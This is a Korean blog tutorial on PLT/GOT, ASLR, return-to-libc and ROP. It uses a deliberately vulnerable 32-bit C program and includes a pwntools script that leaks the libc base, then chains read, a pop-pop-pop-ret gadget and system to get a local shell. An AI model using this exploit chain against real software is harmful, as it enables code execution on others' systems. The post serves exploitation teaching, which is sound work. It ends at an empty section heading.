RTL, ROP에 대해 (with plt, got)

김성진·2022년 7월 22일
0

RTL(Return to Library)와 이에 필요한 개념인 plt, got에 대해 알아보자.
이 개념을 이해한다면, 그 유명한 ROP(Return Oriented Programming)에 대해서도 이해할 수 있다.


📒 What is plt, got

RTL을 설명하기에 앞서, plt와 got가 뭔지 알아보자.
먼저 사용자가 직접 만든 함수라면 plt와 got 개념은 사용되지 않는다.
외부 라이브러리에서 함수를 가져다 쓸 때 이 개념이 필요해진다.
(printf, system ... 와 같은 함수들)

  • PLT ( Procedure Linkage Table )
    PLT는 외부 프로시저들을 연결해주는 테이블이다. 그래서 PLT를 통해 다른 라이브러리의 프로시저들을 사용할 수 있다.
  • GOT ( Global Offset Table )
    PLT가 참조하는 테이블로, 프로시저들의 주소가 들어있다.

조금 더 풀어 설명하자면, printf를 호출한다는 건, 사실 printf@plt를 호출하는 것이다. 그렇다면 plt에서는 got를 호출하고, got에는 실제 함수의 주소가 존재한다.

또 이렇게 한 번 호출을 하게 되면, 프로그램은 got에 저장되어있는 실제 주소를 기억하게 되므로, 이후부터는 바로 호출을 하게 된다.

이런 plt와 got를 쓰는 이유는 뭘까? 바로 동적 라이브러리로 링킹이 되었기에 함수의 주소를 모르기 때문이다. 또한 ASLR 보호기법에 의해 함수의 주소가 매번 바뀌기 때문이다.

ASLR에 관해 간략하게 알아보자.
ASLR은 프로그램이 실행될 때 마다 라이브러리 내 함수들의 주소가 랜덤으로 정해지는 것이다. 함수들 간의 주소 차이는 항상 일정하다. 이를 오프셋이라 한다.!위의 ldd 결과를 보더라도 libc.so.6 라이브러리의 base 주소가 항상 변함을 알 수 있다. 하지만, 말했다 시피 함수들간의 오프셋 차이는 일정하고, 따라서 libc_base 기준으로 오프셋도 항상 일정하다. 위 그림에서 system의 offset은 libc_base 기준으로 0x1537이다. 이러한 점을 이용하여 ASLR 상황에서도 libc 내의 함수들을 leak 할 수 있다.

지금은 이정도로만 알고 넘어가자.

관련된 개념에 대해 원양어선 팀에서 옛날에 정리한 문서가 있다.
https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/
다 이해하려고 하지는 말고, 우선 느낌만 제대로 알도록 하자.


📒 What is Return to Library

그렇다면 Return to Library (RTL)란 뭘까?
https://velog.io/@mm0ck3r/Return-to-Shellcode%EC%97%90-%EB%8C%80%ED%95%B4
우리는 이전에 "Return to Shellcode"에 대해 알아본 적이 있다. RET 부분에 우리가 원하는 주소를 쓴다는 기본 개념은 똑같다. BOF가 가능한 상황이며 직집 실습을 해보며 RTL을 익혀보자.

📒 Test - addr : O

이번에는 RET 값에 라이브러리에 포함되어 있는 함수를 실행시켜 보도록 하자. (c코드에서는 호출된 적이 없는.) 대신 조건은, printf나 stdin과 같은 주소를 아는 것으로 해보자.
일반적으로 stdout이나 stdin의 주소를 알려주기도 한다.

📖 test_stdin.c

//gcc -m32 -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -no-pie -fno-pic -o test_stdin test_stdin.c
#inlcude <stdio.h>

int main(void){
	int buf[100];
	printf("Stdin addr : %p\n", stdin);
	read(0, buf, 1000);
	return 0;
}

실행해보면 앞서 말한 듯이 ASLR이 적용되어 있기에 라이브러리 내의 영역에서 주소 랜덤화가 발생했다.

시나리오를 생각해보자. 초기 RET를 read 함수로 덮은 다음, bss영역에 "/bin/sh" 문자열을 입력해주자. 이후 read함수의 ret를 system 함수로 주고, 우리가 문자열을 입력한 주소를 인자로 전달해주자.

📖 Find stdin & System offset

오프셋을 찾아서 Stdin addr에서 빼주면 라이브러리의 베이스를 구할 수 있다.위를 보면 _IO_2_1_stdin_@@GLIBC_2.1이 존재하는데, 해당 오프셋을 구해서 빼주면 된다.
stdin의 오프셋이 아니라, _IO_2_1_stdin_ 의 오프셋임을 유념하자 !
같은 방식으로 read와 system도 구해보자.
system : 0x41780
read : 0xf1b80
이제 라이브러리의 베이스를 구해보자.

📖 Find libc_base

파이썬을 이용하여 구해보자 !

from pwn import *

p = process('./test_stdin')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

#stdin_offset = libc.symbols['_IO_2_1_stdin_']
stdin_offset = 0x001eb580

p.recvuntil('Stdin addr : ')
stdin_addr = int(p.recvline()[:-1], 16)
libc_base = stdin_addr - stdin_offset

print(hex(libc_base))

📖 Exploit

이제 라이브러리의 베이스 주소도 알 수 있으며, 오프셋들도 다 계산하였다.
앞서 시나리오에서 말한 대로 스택을 그려보자.read 함수까지는 어떻게든 실행할 수 있다. main의 RET를 read로 덮는다면 해당 주소 +8부터 인자를 가져오기에 인자는 저렇게 설정하면 되겠다. 문제는 read 함수가 종료된 후 어떻게 system 함수를 실행할 수 있을까. 설령 read 함수가 ret으로 갈 곳인 read 주소 바로 밑 칸에 적는다고 하더라도, 인자 정리가 되지 않는다.

이럴 때 쓰는 것이 ROPgadget이다. 위 처럼 프로그램 내에서 우리가 원하는 가젯을 찾아 쓸 수 있다. 만약 RET 밑 부분에 pop pop pop ret 가젯을 넣는다면, 인자들을 싹 정리해주고 ret를 실행하기에 인자 밑에 있는 값으로 ret을 실행할 것이다. 이렇게 구성해주면 쉘을 딸 수 있겠다.
system 이후 exit 같은 함수를 넣어도 되지만 우선 system을 실행하는 것이 목적이기에 생략하도록 하겠다.

objdump -h test_stdin | grep .bss

이 명령을 통해 bss 영역을 찾을 수 있다. read 함수가 실행되면 /bin/sh를 입력하는 것 또한 고려해야 한다.

📖 exploit.py

from pwn import *

p = process('./test_stdin')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

#stdin_offset = libc.symbols['_IO_2_1_stdin_']
stdin_offset = 0x001eb580
read_offset = 0xf1b80
system_offset = 0x41780
pppr = 0x08049261
bss = 0x0804c020

p.recvuntil('Stdin addr : ')
stdin_addr = int(p.recvline()[:-1], 16)

libc_base = stdin_addr - stdin_offset
# print(hex(libc_base))
read_addr = libc_base + read_offset
system_addr = libc_base + system_offset

payload = 'A' * 0x190 + 'A' * 4
payload += p32(read_addr)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss+100)
payload += p32(50)
payload += p32(system_addr)
payload += "AAAA"
payload += p32(bss+100)

p.send(payload)
p.send("/bin/sh")

p.interactive()

사실 /bin/sh 또한 라이브러리에 존재하므로 오프셋만 구하면 찾을 수 있다.
오프셋은 strings 명령을 사용하여 찾는다.

📒 Test - addr : X

profile
Today I Learned

0개의 댓글